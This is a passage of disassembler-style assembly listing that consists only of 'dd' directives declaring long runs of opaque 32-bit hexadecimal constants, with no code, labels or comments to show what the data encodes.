		dd 0BD04E36Eh, 1F66C49Dh, 561A5080h, 5C40B223h,	870B3255h
		dd 0D183E338h, 18042B4Dh, 3386EBB5h, 0C3933DC7h, 0A3310220h
		dd 48806692h, 0A33B8503h, 7C20E8E9h, 0DFE2036Eh, 216B6763h
		dd 943FB1C0h, 0D8102637h, 9DE28680h, 9202E803h,	73350F94h
		dd 0C8847E84h, 0AF3980D5h, 9E006244h, 0ECCEFF5Dh, 1E10CF0h
		dd 0E32A400Ah, 44BA9DA3h, 0B74C2364h, 0BB3AB014h, 18BAE25Ch
		dd 0A0031A5h, 7AD69FB0h, 20E41CC4h, 0FA3E6006h,	3FC00A7h
		dd 0BC517E69h, 7A09008Bh, 377FEC3Dh, 99001880h,	95CDD6A4h
		dd 0E68D2Ch, 0A2DE6571h, 0BE7D346Ch, 0E5A81B07h, 0C67054F7h
		dd 7A6ED2h, 60DDC5BCh, 0AA0D5AA3h, 1476307Ah, 56A5AE00h
		dd 0B13FE249h, 0D1D40083h, 88F97F65h, 0CB0037C0h, 2460B3CDh
		dd 0A8DC5Eh, 7DD5E5C2h,	53F1340Bh, 48A0A600h, 9263869Bh
		dd 0AB1E0346h, 0DA514FF2h, 0D0044480h, 77992100h, 53C9A5Eh
		dd 430F00C1h, 4E48FF35h, 663978A8h, 80DFBD5Fh, 25645B38h
		dd 54C2311Ch, 16FED403h, 10CBA7Eh, 9E66E39Bh, 0F4089860h
		dd 17864021h, 1FC5A1BAh, 31A24731h, 0A4434E51h,	2F8004FBh
		dd 0DCA4647Ch, 3505A07Ah, 78B5FEC5h, 1D63080h, 721E0C40h
		dd 4A29699Fh, 2D725E90h, 319327Eh, 5208422Bh, 4C28218Fh
		dd 0D73DF9C3h, 0E50A9D80h, 5A3CA100h, 0C2242161h, 3AA1C0F3h
		dd 0F264A671h, 3DD1FC00h, 146726A0h, 0DDAC0056h, 8925F863h
		dd 3A498A5Dh, 49153818h, 574700C8h, 2366D855h, 83F70C36h
		dd 16B0035Fh, 0E1602A60h, 0D8063079h, 0BC320E8h, 7413283h
		dd 35306DD8h, 0EB2C72E3h, 6B885418h, 0CFCFC4Dh,	0F615CD0Dh
		dd 16010E49h, 85CB30FBh, 0A30D0ADh, 0EFBD3B6Ah,	8E44E680h
		dd 612D21F7h, 60A6643Ah, 0E50E29C9h, 76860030h,	0F57D317Ch
		dd 0E73FDB98h, 0E8030054h, 4A15D78Eh, 34FCA961h, 0BA5C8518h
		dd 0FC7B2B94h, 5D00F211h, 18DBA6Dh, 0E8C1D3CCh,	0E513701Fh
		dd 0DEE18040h, 0DA92131Bh, 7B700B6h, 149D29ACh,	96C8551Dh
		dd 1AA477C5h, 8A2017C7h, 3BD9D5B2h, 540017B8h, 0BD3495CEh
		dd 11001B56h, 49FE9485h, 7087DD1h, 5D811018h, 1BDB1058h
		dd 0EC005588h, 0AEDC677Eh, 25BAE0h, 6FDF18A9h, 1D6C8B8Ah
		dd 77358900h, 725C0A5Bh, 7D9C0060h, 6F2B417Ch, 880069A0h
		dd 0F032FC59h, 1A648E0h, 83671FD6h, 0C4ED75D8h,	0C402A855h
		dd 5E78AFD5h, 0CAFE60BCh, 5FB80041h, 19D8F326h,	0F00009EDh
		dd 85167FAEh, 1C1F212Dh, 80F5EB12h, 348A3757h, 761603FAh
		dd 5C01F230h, 238772E8h, 0A06DFEC8h, 2D798Bh, 0FB7AD022h
		dd 374821C3h, 4933A807h, 208DA0DCh, 7189CECh, 5F8FD1D2h
		dd 0E30039AAh, 6B17D62Eh, 6D4479C0h, 729FE7CEh,	0E4A20060h
		dd 42DC7BC3h, 3F0AA53Dh, 0F748B943h, 0C12A1E00h, 3A2907Fh
		dd 0D53E77DDh, 21F0FE3Ch, 0FD63650Ah, 87E72218h, 0B709F70h
		dd 90AB64BFh, 10BA401Dh, 4F3E5Ch, 5AC36606h, 2ED3E7DFh
		dd 79FF44h, 7C19A08Ch, 2429A232h, 75553Ah, 1EA66687h, 32C17h
		dd 0E83B469Ch, 1196EA47h, 0A1006FFCh, 0EE84B9A5h, 1FF20C27h
		dd 0C02F482Ch, 0F1ACC9C1h, 0C2E8C423h, 5730A806h, 1D18C3AEh
		dd 0E0246B2Fh
		dd 87021701h, 5B9307EEh, 79BA4880h, 81F8BE4Dh, 990F2375h
		dd 0CCACFDh, 0A9833153h, 0A6900ED1h, 5038BA57h,	93F6E989h
		dd 2948701Eh, 871091F0h, 0B888305Fh, 2DA1DA11h,	641D558h
		dd 0AD3B238Ah, 21C36008h, 0B12D98FBh, 0D268F00Fh, 38067F20h
		dd 6A8B378h, 69EBA05h, 47706123h, 0A9542A01h, 0A0EA4BFEh
		dd 160830EBh, 2A08FD21h, 21397802h, 61C504B8h, 0FE42485h
		dd 27D406F2h, 0C094063Fh, 3C6BF30Ah, 870334C5h,	3D3D818h
		dd 107AA610h, 0C1E055FAh, 0CA00673Ah, 5CEF4944h, 7EF82D42h
		dd 76A10045h, 0D1705EA0h, 1200F49Eh, 2E059A9h, 3278C2h
		dd 0EB8C2034h, 5E255697h, 0A457D400h, 0C9C46F67h, 3B7FF0h
		dd 0BE479F73h, 0D5C3659Dh, 9E40BCE9h, 10070DF8h, 48E72F7Ah
		dd 0E32E40E0h, 299050h,	0CF4CCE5Fh, 83C9B351h, 5400917Ah
		dd 0B4CDC58Fh, 0C0B0CA9Bh, 1EF30118h, 0EE30C482h, 0C06698CCh
		dd 59D800DDh, 0E09FF60Eh, 0AF30D436h, 5F11B94Dh, 0D00B00FDh
		dd 3E50F060h, 7800CA1Ah, 4748F3E6h, 0CB13A5h, 64C8F7D3h
		dd 8880B6DCh, 2A604E7Fh, 0DF54CD10h, 2380C0B2h,	591D5244h
		dd 0D0629A00h, 2C04413Ch, 64A40181h, 0C34A9F80h, 50FCF4E4h
		dd 840A8501h, 56772FA1h, 3804AEE0h, 0FE80E674h,	0CDE109E3h
		dd 0A9C25C43h, 0E3EB44C0h, 49101648h, 0BF7F05DAh, 58E0AF80h
		dd 0B96000E5h, 535243ECh, 0EB00E6C2h, 9DE1087Bh, 7ED93Fh
		dd 955A421Bh, 7DA53CBDh, 0A8B36400h, 0D26DCC4Bh, 0E3E60046h
		dd 4CB0E418h, 0C47521EDh, 0AB555100h, 0FF4872F9h, 9F9401B7h
		dd 0FB82402Dh, 0DE46C48Eh, 842B2C2Eh, 0ECFC6B03h, 7343C0A4h
		dd 76BB26E0h, 0D600132h, 0DC2D67F5h, 0EC13E8C4h, 0BE7E5Ch
		dd 0A50498CEh, 0D800A68Fh, 7764A3Eh, 0B643BDh, 7885EF8Ch
		dd 0DA0D684Ch, 0CAD0FE00h, 420EAEB2h, 0BCF0DDh,	0C9D48AC7h
		dd 0E146912Ah, 3F00A874h, 0D3029751h, 8090C8h, 0F5BDCC5Ah
		dd 0C4CAF34Ch, 1AECC700h, 79B537F6h, 2C0500A5h,	3BDA734Bh
		dd 0E048EE35h, 8D8800E6h, 0D92389B3h, 0DC0200ECh, 0AE94BE65h
		dd 3B00E5C7h, 73A2307Fh, 77BFF733h, 6F961E4Fh, 51E18050h
		dd 5C3E1493h, 0FED38614h, 2D1900B0h, 9B328771h,	0CCB5075h
		dd 0CA04A5D2h, 389C181Fh, 0F50E8324h, 380885h, 2BE69643h
		dd 0A1FF008Ch, 0B4AB9FD1h, 240C8A2Dh, 287AE2E7h, 0F404474h
		dd 847FFA44h, 42E08B22h, 84A2148h, 0DA88BB13h, 3CBC94DEh
		dd 28F4CD11h, 0E2221427h, 21B042DBh, 843B107Eh,	915DDA08h
		dd 0F0AD1142h, 4C0C0F21h, 0A178F1F4h, 25C6F350h, 0C66402E3h
		dd 6C048773h, 0F42EFC20h, 1441F781h, 0E0136D79h, 9F90A100h
		dd 655FA202h, 53400D4h,	0BE462817h, 57007347h, 67C38C75h
		dd 0F60989h, 0E58AF37Eh, 92CC9F2Fh, 861F4273h, 0AD404483h
		dd 0D9103A18h, 7D650095h, 1AD67FE9h, 0A200277Ch, 8F98A1F1h
		dd 4B15ADh, 9E09C25Bh, 0E234058Eh, 0DC924E00h, 913EE370h
		dd 0AA4D003Ch, 0A5245E2Ah, 61984818h, 82BC0A00h, 0DB363B38h
		dd 0FB900E8h, 39D4943Eh, 33005C3Ch, 3182BFDEh, 4FD121h
		dd 4AF1486h, 0C6F38C69h, 817F2F07h, 33D0F8D5h, 0DBE725h
		dd 0E6638D5Dh, 61DE1A9Eh, 0D1127C07h, 0FB543C9Ah, 0F7574080h
		dd 6C7100EDh, 155DA624h, 9C0081D4h, 2C544BBFh, 288BEE1Dh
		dd 9A4A5B8h, 0BECC0669h, 9AD3E900h, 173DC2D2h, 0FA00F07Eh
		dd 0F849E2EFh, 241CA040h, 30F9635Fh, 4BD1D769h,	1728B800h
		dd 71F513ECh, 220400C1h, 5D7EB25Eh, 3F00BD2Ah, 742B8E38h
		dd 0E0AD30h, 65CF3D64h,	724F8867h, 56802001h, 0B62C97AEh
		dd 42C920h, 0A749E632h,	9D13D0E8h, 0B43ED4E5h, 0CDC53B28h
		dd 0BDD96701h, 0A0F2CE15h, 0E82ED1C0h, 0ACFE05h, 76DE7AD7h
		dd 75F86F1Fh, 9557F400h, 0D1617EFAh, 0D9A800ABh, 79A77A5Eh
		dd 9024B0E9h, 0DC000C2Eh, 0CADF1D4Ch, 0A58B00C6h, 80CF2539h
		dd 0E4005E26h, 62E1B21h, 3BFB03Eh, 0FE180D98h, 83D0D488h
		dd 0DF07B405h, 3D5F53DCh, 0EDA0B9F0h, 0D60C0082h, 78227726h
		dd 2C007BD2h, 5927E24Dh, 94291Bh, 0EBFBC09h, 0B3F6AA26h
		dd 3D660A1Eh, 0DBA12A47h, 12AEEB70h, 0CCF907F5h, 0D02E589Bh
		dd 255A2686h, 49967B01h, 9547E437h, 2F9570h, 0C8F1EB05h
		dd 58818E9Ch, 0B3647126h, 55AA3C00h, 448D6Fh, 4DA5DEF2h
		dd 6CB11443h, 2E172179h, 1D07CAD6h, 7320BABEh, 0ADE3CDh
		dd 0FB3003B3h, 21C0223Ch, 4739BF12h, 9985D500h,	5C81B3FCh
		dd 9E019C02h, 0C7941A53h, 0EF382092h, 0EE21FE03h, 0A11C7276h
		dd 0E9E414A9h, 1BBB0074h, 820C2EC7h, 8090D411h,	0C5E47B04h
		dd 0A0D0B896h, 0ED3799h, 785CCAC4h, 19A51B53h, 70297C00h
		dd 4DCDB813h, 18F81A5Dh, 5FC018A2h, 5804278Ah, 4CC29D97h
		dd 0BB5FA0h, 0EDEA1DA6h, 988CC5B1h, 4B00307h, 0E8D0D5CFh
		dd 8F2876h, 895EEEFEh, 3CC0FCAAh, 42FF391Eh, 0ACBF0E80h
		dd 90EFA63Eh, 9EB604ECh, 8084F83Ah, 1A75CB5Ch, 74DF3D00h
		dd 3E80144Eh, 0F3D41C8Eh, 0F898E27h, 53640780h,	17006DB3h
		dd 18241CE2h, 0B29F12h,	0D2C90870h, 55064DC8h, 7D3D0898h
		dd 16B88073h, 0AA3B413Eh, 15100581h, 0FD5468h, 6077DA8Ch
		dd 410F8C6Eh, 40DE1D0Dh, 0A2AF1849h, 80FF0085h,	592C15A8h
		dd 8F0035CCh, 68BD4BA5h, 7D92C632h, 71D700F3h, 5F265D08h
		dd 53074F59h, 0ADE9B3E8h, 55D69650h, 0B57FB7h, 0C4D30B1Bh
		dd 98824B16h, 0C6483Ch,	0D4E81805h, 0B79CBAh, 93EBA0B4h
		dd 0FDC5EE9h, 0D90062E0h, 9B2AE101h, 1AD8E2h, 88FDA54Eh
		dd 7FCF3B90h, 0EDDF6500h, 38B55CDEh, 7C210092h,	0E901BEF8h
		dd 0CF24990Fh, 0C0002CC6h, 0C15D51B5h, 175C1493h, 3500E878h
		dd 0B9BFEF84h, 3490ED4Fh, 0E5652700h, 43B58A1Eh, 0E8CAF603h
		dd 0E43E3DCEh, 9D213800h, 98FBA146h, 0B4BA903h,	809993D2h
		dd 236BCC4h, 0A11C4271h, 4AC07592h, 0B0005C18h,	0A9D86EE8h
		dd 9D96DD4h, 0D6283944h, 47890003h, 26404C80h, 0D541EE05h
		dd 8400B765h, 5108DA05h, 906305F6h, 0C0E34D17h,	0CD14FF08h
		dd 2562B600h, 1A58D916h, 486D0083h, 3A67B4CBh, 77048993h
		dd 0B25544C5h, 0C0081680h, 58330024h, 29A0BA57h, 0D2020618h
		dd 482F71D9h, 76DC40ADh, 1CAFE47h, 6E721C4Eh, 40E22CC2h
		dd 4D237982h, 0D3B5BF00h, 0A5547C41h, 40C2010Ah, 0FEAD4477h
		dd 528030CFh, 927FD500h, 4C601B0Ch, 66B90061h, 0DB44E94Dh
		dd 0D5005FE5h, 0E2E82A3Ah, 424AA9h, 6F6E90D1h, 0F6DCFD23h
		dd 320A1C07h, 0ABB02B20h, 3AD6D516h, 0D807142Eh, 20F9EF8Dh
		dd 0B229FF9Dh, 0B7CD6B00h, 3F42842Ch, 6E5D04A8h, 0C00BFE92h
		dd 0F2F56D70h, 0AE085CB1h, 48D9003Dh, 1077585Fh, 54663E00h
		dd 5D1DBDA1h, 0AC361EBFh, 0C49387CDh, 0B7E5B15Fh, 0A2283090h
		dd 0CB98F702h, 0C0E9EE97h, 17EC78h, 31ABE87h, 0C040E021h
		dd 555FE11Dh, 8AD7D300h, 142AE44Ah, 0DCE25AF4h,	0B6F7AD03h
		dd 7AC99B1Bh, 9014F88Fh, 4C38A52Ch, 0C3529301h,	0FBD9A3BCh
		dd 0AEE4B061h, 3BBA077Fh, 0B0742F55h, 2AB7B5A9h, 3DAA5C0Fh
		dd 353EB93Ah, 761B89D0h, 727307D9h, 5F3FBF14h, 6D93C0FCh
		dd 2316F255h, 84922500h, 9E64D80Bh, 0DEE64C29h,	0B91A4100h
		dd 1F25F819h, 0EB3158h,	6699DEA4h, 94A5A2h, 34BB45F4h
		dd 8FF1040Ch, 7E021B09h, 0FE380D1h, 30DBDD5h, 2681CC1Fh
		dd 0B2A8CD9Dh, 27F60935h
		dd 48716900h, 317FAB3Fh, 5C6700ADh, 0AAF35F1Dh,	0C1018199h
		dd 0B32BE303h, 0FB4845h, 9F954B50h, 9DE9CF49h, 7D768D03h
		dd 0D09E5FF4h, 22A481h,	27F988A8h, 0C290EFCAh, 0CE009BB8h
		dd 0FBD9952Bh, 0FD68AAh, 0F19B98EEh, 728873DEh,	0F5389AE6h
		dd 0AE5E8C59h, 0F4B30E6h, 6D07C636h, 8F1800D2h,	63A6069Bh
		dd 30D04900h, 42257BF1h, 77E22Ah, 0C7F3D95Bh, 6A20E56Bh
		dd 0A607691Eh, 0E09B2380h, 0C8468Eh, 7A407D4Ah,	34EB4CA1h
		dd 4165A0CFh, 1EA283EDh, 0A3CC8E2h, 0DE5C0212h,	939C115Ah
		dd 0CDF06E63h, 651DC4D0h, 0B1000260h, 0AE37717Fh, 6BA0E4Fh
		dd 87A124DCh, 0EF3655F2h, 77419CA0h, 0C5E1500h,	1896E3D0h
		dd 0D1373F2Eh, 0F7346A00h, 3CEDD828h, 0D9FA8E0Fh, 0DDC5A0CEh
		dd 1EEBBB6Fh, 0DDDC1D89h, 10370BF8h, 1448B580h,	9B0072CCh
		dd 552221B0h, 93AE83h, 0CB57C744h, 34ABD7F4h, 2BDA7D13h
		dd 9B40541Ch, 8A761DFBh, 806C00E8h, 59341AF8h, 7E985014h
		dd 5F4E7300h, 0CB903D22h, 5880EBA9h, 2976C197h,	4F007C2Bh
		dd 0A7048A4Dh, 3CD08CBDh, 0EBBB7396h, 1EFCE717h, 409A9DB2h
		dd 0B9D741FBh, 3F000697h, 0F637260Ah, 0EB87DBh,	70585D63h
		dd 0BA8F4B68h, 0C0561700h, 7549B43Fh, 1C840351h, 3A822007h
		dd 0E58D7CF8h, 98659E00h, 0E1BF857h, 50B13040h,	4354FEB0h
		dd 0BE1D9AA0h, 0D2843600h, 7B12E023h, 481E63A7h, 92A89BA1h
		dd 5500EF38h, 0B5F225FBh, 3CDC156Fh, 0B8D0A0B2h, 96D23A3Ah
		dd 7004D8A0h, 1C019C22h, 27EC001Eh, 0D1BA942Eh,	4083285Ch
		dd 0DB0043D6h, 0C34A5F9Ch, 7FE3EF0Ch, 1B1200DCh, 2E7666Ch
		dd 0EC00B652h, 0C8048047h, 7113F2E5h, 43A830D1h, 0DBBA86C0h
		dd 1FAA3D00h, 21FB6A1Eh, 22EF0018h, 0D04BE951h,	2D000E5Eh
		dd 0D6DF696Eh, 5B99771h, 84EC9564h, 63B200C0h, 5457A032h
		dd 9A008BF4h, 628C2871h, 0C31F98B0h, 267D25C0h,	0C3455100h
		dd 4559E6Fh, 11C8076Eh,	93C55C27h, 899373A5h, 8FE72900h
		dd 3C32A9A8h, 0A28412CDh, 707C00D9h, 5664F97h, 0A7A54900h
		dd 0F08144D4h, 68929Eh,	27889BCh, 4C1F4A9Fh, 953AE4F7h
		dd 1DD6FE00h, 0DDE03F2Dh, 0B59F0043h, 0DFCB9D6Dh, 6B3F5C31h
		dd 46F70010h, 9C83A0D6h, 69560028h, 62447C4Eh, 753FC7FFh
		dd 0E297831Eh, 0D06BB0C2h, 791936B4h, 6F5022Dh,	0B6BA9320h
		dd 0CCB1C0DDh, 227419BDh, 0F81098D6h, 0B5006EF4h, 0C8577667h
		dd 42F97Fh, 0E5A28A47h,	0FF35B73Ah, 0EB1DAE00h,	6481669Dh
		dd 8A0800E3h, 0E078BFA7h, 2414CBD8h, 0D462C9h, 0E954A1F8h
		dd 3B1D860Eh, 0B000552Eh, 4AF16D17h, 6C188111h,	0AAD83BACh
		dd 98D415E4h, 0CF07BCD5h, 31C0A09Ch, 70E333EEh,	9D0413F8h
		dd 0EFA9510Fh, 0CEA28C90h, 886449C2h, 0B4896D00h, 0B638688Bh
		dd 563B3103h, 0ECB5C1h,	4C666FE0h, 4D5CBED9h, 68D2507h
		dd 64F047BFh, 7C440E1h,	1EC50AFAh, 0B6BE55h, 48CE4ADFh
		dd 0D600A968h, 82C22F7h, 3BF898h, 0D5FC7DC6h, 4779FB66h
		dd 282A9301h, 1AC7D8E1h, 727774ECh, 0C4A000CDh,	0F3507DB7h
		dd 86031563h, 56C6B212h, 5F50EF3Fh, 40D51Eh, 4D63034Ah
		dd 0E3F13E1Dh, 0ED88D760h, 0AD290Fh, 0DEFC5861h, 0DD8EBF5Ch
		dd 80A53E00h, 81A04002h, 4BD90031h, 5C1D1FEBh, 5400D5CAh
		dd 0F00EF971h, 39648B60h, 9809E3Fh, 409B5159h, 830166E1h
		dd 623CA5B3h, 60C8E54Fh, 916E005Fh, 37CDA0F5h, 0CB008C9Ah
		dd 0A8CAB4ADh, 78035963h, 70870006h, 282210B0h,	0C7FA51AEh
		dd 0C30060FCh, 0D183FDB7h, 0E2F8A257h, 6D9F002Eh, 52C104F3h
		dd 0B300EDB1h, 0CD5A35DDh, 3E4203C5h, 0B0BBFFE1h, 51D6B92h
		dd 41CA515Ah, 7361F988h, 8371E4C6h, 39ABA1Fh, 0F34F5C80h
		dd 13B12BCBh, 582620h, 90F5EF92h, 0C008B66h, 11E91586h
		dd 0D19E14h, 0DD9979AEh, 0B5D360E3h, 21ED3B00h,	8C0A0C16h
		dd 48E63F33h, 1AD628Eh,	0A31B9B60h, 5BF4B8A0h, 0D481FF00h
		dd 0D1FBB52Fh, 0F6410061h, 49F4B398h, 16008359h, 2726461Ch
		dd 61F7BBh, 0C13A29B1h,	747593BFh, 0F016DC00h, 0B94FD6D3h
		dd 0D79D063Bh, 8A7C26ECh, 49006B7Fh, 5A0E699Fh,	478024h
		dd 93687E9Eh, 77BD6FADh, 69B6A400h, 7196EB91h, 0DD4D0065h
		dd 138F44C8h, 0A606E8A1h, 35230E19h, 82CF0029h,	5160963h
		dd 77004D93h, 655EF96Fh, 380ABE62h, 6C004E9Eh, 42AE79A1h
		dd 663AB4A3h, 736B0011h, 0F4A66875h, 0D1A8C29Ch, 0BAC0B2B8h
		dd 5D07B133h, 96617201h, 452485Ch, 65A570B4h, 0CA4800C3h
		dd 0E6F9F15h, 9D68768Ah, 0F060C68Eh, 0C075DA13h, 6580560h
		dd 7683F40h, 0BDA431C2h, 57731069h, 2D0EED87h, 80ACA1C1h
		dd 56159676h, 5A6A1F43h, 47CE0083h, 0A588854h, 0CC9B300h
		dd 317613C6h, 0C4FD00FEh, 0B6A753E3h, 0F01DEB29h, 0CB80564Ah
		dd 0CD0D721h, 0D6510094h, 0A24B02B3h, 0C20F31CCh, 4069BFACh
		dd 636B5D24h, 58287CD2h, 0E00D9DFh, 0A19166C4h,	38004F9Dh
		dd 21B69EA8h, 0FABFEF8Bh, 0E9501EF2h, 3AB700E2h, 0A2C0A691h
		dd 69D42D00h, 7DB1A45Bh, 0F9F70006h, 32E6D818h,	0CB006C2Eh
		dd 2FBDE2FFh, 7956FF3h,	0F07EA340h, 1D688069h, 39016367h
		dd 86C9576Dh, 0BECC2BA5h, 10940059h, 0C19C02DBh, 7CE497FAh
		dd 38E0AC0Bh, 0E77C8022h, 80CD3Fh, 7134FB89h, 1F6ABA78h
		dd 0EA825E05h, 0A70183F4h, 6667A6Eh, 0F5E9FCh, 419F8AB3h
		dd 0A33CB29Eh, 18818801h, 0BEA9C1DAh, 224D4h, 0B62D8612h
		dd 0DFE37A62h, 0C1D9C31Ch, 9382BB00h, 4BC205h, 22C49788h
		dd 0E02EF032h, 0B06D3300h, 55D46C6Eh, 0D99D044Dh, 0C3ECD3FFh
		dd 0E5C8FE57h, 0F7EEFCDh, 70388C1Fh, 15AAF100h,	0C5DAFDh
		dd 27470655h, 84A7D823h, 96CEBB00h, 5DF23B25h, 7A3118ABh
		dd 4373B89Eh, 1DF7CA80h, 40FB996Dh, 5AB5DC7Fh, 2C001EF1h
		dd 80A4A88Bh, 444254Ah,	8563CEDDh, 0CF449097h, 0B101AA91h
		dd 50E74EF4h, 11827E4Ah, 0A09A3DD5h, 6684B040h,	17992C00h
		dd 45620FE3h, 0C6970F7Dh, 0AA803137h, 0CFE11B5Eh, 10DD4C00h
		dd 19945BC8h, 8B9A0025h, 86FFA8F7h, 57902AF0h, 0F4A09F00h
		dd 1CA13459h, 85B800DCh, 0C9C87D5h, 0B000F3CDh,	0B93091Dh
		dd 0EAFAE6E4h, 0E59B1C73h, 4E4B4055h, 84CF3F9Dh, 0DB9FAF00h
		dd 79026A4h, 0C95C28D8h, 0ECF9F4B0h, 8B330064h,	2108AA8Fh
		dd 59005D3Ah, 0A5F16E2Fh, 2E261E38h, 744F81h, 0ED9FD52Bh
		dd 0B1050CDEh, 7C19CFF8h, 5BAFEC80h, 0A06B0C01h, 69CA2563h
		dd 0BD525C01h, 0F247A49Ch, 0DAAC4h, 0C67D30FEh,	0FD10C61h
		dd 0F0880503h, 0F8AF45E1h, 0E37F32h, 0E6D469A2h, 0E0EA2DCAh
		dd 0B66B7100h, 10ABDE0Eh, 0B8BF005Fh, 0E34FC5F7h, 0BC07A11Ah
		dd 6A9A84DBh, 7FABA430h, 0BD9D0087h, 5CA08E60h,	4F006818h
		dd 0B1F6F19Fh, 28587138h, 24FC4767h, 1394EE09h,	70A86797h
		dd 91E6CA95h, 42A03C00h, 0F5B1D7CEh, 396F008Eh,	0F74AF2E0h
		dd 0C360B585h, 66189478h, 63340003h, 6C1F3A93h,	485C23A6h
		dd 4AD80002h, 7D264E7Ah, 11B600D7h, 24FF49B8h, 0A200668Bh
		dd 0F26D90BEh, 3A29AE9Eh, 11007F9Ch, 3A6F3574h,	814CE65Fh
		dd 0CB0200B0h, 92E14DFBh, 0ACB64D82h, 50947201h, 0C005C5h
		dd 10F5EAA8h, 1D8B0F3Eh, 3C836BFDh, 82184DEFh, 0C7A043EDh
		dd 82984CD0h, 2EDC0050h, 0B1E3452Ch, 4A0063ADh,	95111D81h
		dd 0E8731B6Dh, 65D60A80h
		dd 19F60CAh, 2B100ABCh,	30EDC568h, 0C40091C8h, 6A04A5F0h
		dd 0E6306CF4h, 114507BBh, 0A449Eh, 0C35E7B58h, 6B1A7200h
		dd 3B1F37A9h, 0A8E800D9h, 9C36BF86h, 304C1E78h,	87243BA0h
		dd 0B17467E6h, 12E1211h, 50C0D420h, 784D8h, 5650391Eh
		dd 0A4EE732Ah, 543C48h,	6D49CCF5h, 8FA94C6h, 0ACAE5A1Ah
		dd 877A6940h, 847575h, 1D2BE098h, 8C62F7A3h, 5C5A7924h
		dd 52268300h, 1D01973h,	404B5399h, 308AA94Fh, 7400DE80h
		dd 26916732h, 7062FE42h, 43B60193h, 77AEC8ADh, 5D08300Dh
		dd 0A90297Dh, 0E9A8E01h, 5134EA90h, 0F28820h, 0D33D256Eh
		dd 3A20FB92h, 8A35F100h, 0E91F138Ch, 4890F2h, 80BA01B9h
		dd 0D5FB7E99h, 61872700h, 0D260FF67h, 9BDF17BEh, 5ABC0509h
		dd 5F8DC046h, 41FDC8EBh, 32483090h, 2FDF0748h, 26E7AF36h
		dd 38F48FCh, 0C18595FCh, 0B1D86FD5h, 28984A71h,	0D82F7300h
		dd 0A87FF8C0h, 42A400B7h, 1A048FD2h, 110F37ECh,	0C0F580BBh
		dd 0AEEEC24Ah, 0FF1D4823h, 94F34004h, 0E85F8238h, 0F76510C0h
		dd 60B36C12h, 40805000h, 13011563h, 1B64820h, 9378C26Dh
		dd 726D45Ch, 0D0B3DA0Ch, 0B17C0D5h, 66C2296Eh, 0CB42420h
		dd 8500960Eh, 0D9DDBA9Ch, 0B8AEAC4h, 8BCBE4Bh, 994CCC00h
		dd 51E58AAh, 30001815h,	86F64A1Ch, 0A99C1475h, 530BF059h
		dd 2082C216h, 0A360D6D2h, 260E5835h, 0FCCA2703h, 42A26900h
		dd 49F7634h, 0C19710D6h, 0D8CE81E6h, 0C54AE860h, 37C70700h
		dd 1FC2E17h, 50811210h,	82840051h, 90AEA86h, 0CC980E07h
		dd 4B9345h, 222FC020h, 0A08D00B4h, 3ADBB37Ch, 620008E3h
		dd 93F29DE9h, 1C462C3Bh, 0BB8C5805h, 0E0A4A8h, 35E918E1h
		dd 21E39C5Ah, 0A5B88713h, 98115504h, 0E7AA18C0h, 7C0FF026h
		dd 95F001Bh, 0D1E1D8ECh, 0F0097861h, 816B235h, 2C29CFFCh
		dd 0EBDA2100h, 2A47211h, 0D75A50AEh, 5860F614h,	0AA003676h
		dd 34974383h, 0FFAEF4h,	0A0944048h, 0F7F16572h,	4C77467Eh
		dd 93534300h, 52C92663h, 0A969C07Dh, 6B8E2AEBh,	8EFD7130h
		dd 0EC8AFCCBh, 4C33788Bh, 0C6C4B873h, 0FCB0C095h, 0A00045CFh
		dd 6D0BE1EAh, 0E82115F7h, 44673F65h, 0B93CEB05h, 0B0B40F5Dh
		dd 7020A827h, 5F740360h, 38D9F026h, 583A1000h, 0A65C6Ch
		dd 57B746ABh, 14077AB0h, 2042AC00h, 0A89FB128h,	84853E49h
		dd 6DE61684h, 0C538A01Fh, 0CC1E4600h, 370CD4F0h, 60B8ABh
		dd 0AFB05045h, 5C291C79h, 0F8208C0Fh, 0C986402Dh, 0D151FDh
		dd 820B4E69h, 0AFF6A105h, 31C8470Bh, 0D8248A96h, 0D8B34B00h
		dd 28BBDCAh, 0A4D529B6h, 75C0661Ch, 7CEC780Ch, 0EC71884Ah
		dd 9889E557h, 5C106CECh, 8400C22Dh, 0E1852A97h,	16461960h
		dd 4183D4A4h, 0DECFF714h, 0E34A3176h, 3FAC54E0h, 1FDA38h
		dd 8BC58F21h, 0BFD909Ah, 0F5347926h, 0FFA464A1h, 9782ECBAh
		dd 68ABDA0Eh, 0C24E817Fh, 4087A587h, 405EEC2Eh,	746FFF2Bh
		dd 0B1C88005h, 74D0DF76h, 5A69DEh, 68897179h, 55ED4772h
		dd 200090FCh, 8CF38234h, 5EC9E7h, 95272629h, 0C78A2E0Bh
		dd 2832F9h, 52D7F225h, 74D8E7Ah, 6AB1F153h, 410AB3A4h
		dd 78214088h, 8AD21600h, 5A06E534h, 0A00EF6A9h,	177D4ECh
		dd 0A2C529EAh, 6078BC4Fh, 0BF00C365h, 0FEC758AFh, 441886h
		dd 896FA4C5h, 0C4063ED3h, 423BD026h, 0A037D70Eh, 0AD1BBEE7h
		dd 0FDB0278h, 7901A731h, 4E0AB960h, 41565E03h, 0D8136EBAh
		dd 3474FDh, 39DADCE3h, 3F6F0337h, 8B9F4700h, 52D477D0h
		dd 7243030Bh, 0EFC01799h, 48559DA0h, 0CB87F80Ah, 0E90EF0FEh
		dd 0BCE020E2h, 3F72D893h, 819CC44Fh, 90704074h,	9D233E28h
		dd 1E7B400h, 5152D21Dh,	0AC641CE8h, 1996099Ah, 6B44BE00h
		dd 82129DDDh, 3C01E531h, 23E4E72Fh, 9C22C20h, 0AD3735DAh
		dd 0AB76DA78h, 0AC9DFA00h, 0A32BBD23h, 7F8D5h, 1BC88EA5h
		dd 863A7E42h, 0CD661500h, 0BD67DB7Ah, 25FF00C2h, 0A465C726h
		dd 4F3FD761h, 254496Bh,	9EF4389Ah, 0B757E054h, 7840171h
		dd 643E0D95h, 60413033h, 7AD3BD00h, 0D4CE4E58h,	8A0C003Ch
		dd 59AF685Fh, 2607EE62h, 503214B3h, 61B1DF10h, 2D7D006Ch
		dd 522F5BE7h, 6009DFEh,	0F8A402D4h, 61FAAEh, 67A3AC4Ah
		dd 5B16C92Dh, 4E2B4D00h, 6ED271D1h, 0CE610033h,	0E82B47Ah
		dd 2A3075DDh, 21E52192h, 726100C8h, 0B97EFE2Fh,	96E2AC85h
		dd 4C9F1100h, 57B871E8h, 0EA9818C6h, 10BFB8C5h,	883CE301h
		dd 0F76360B4h, 16E70F4h, 267EF594h, 0FB0E7FE9h,	153562F8h
		dd 4A789300h, 0D8DEBDF4h, 0A76E0063h, 0CB366B87h, 9C4CCE42h
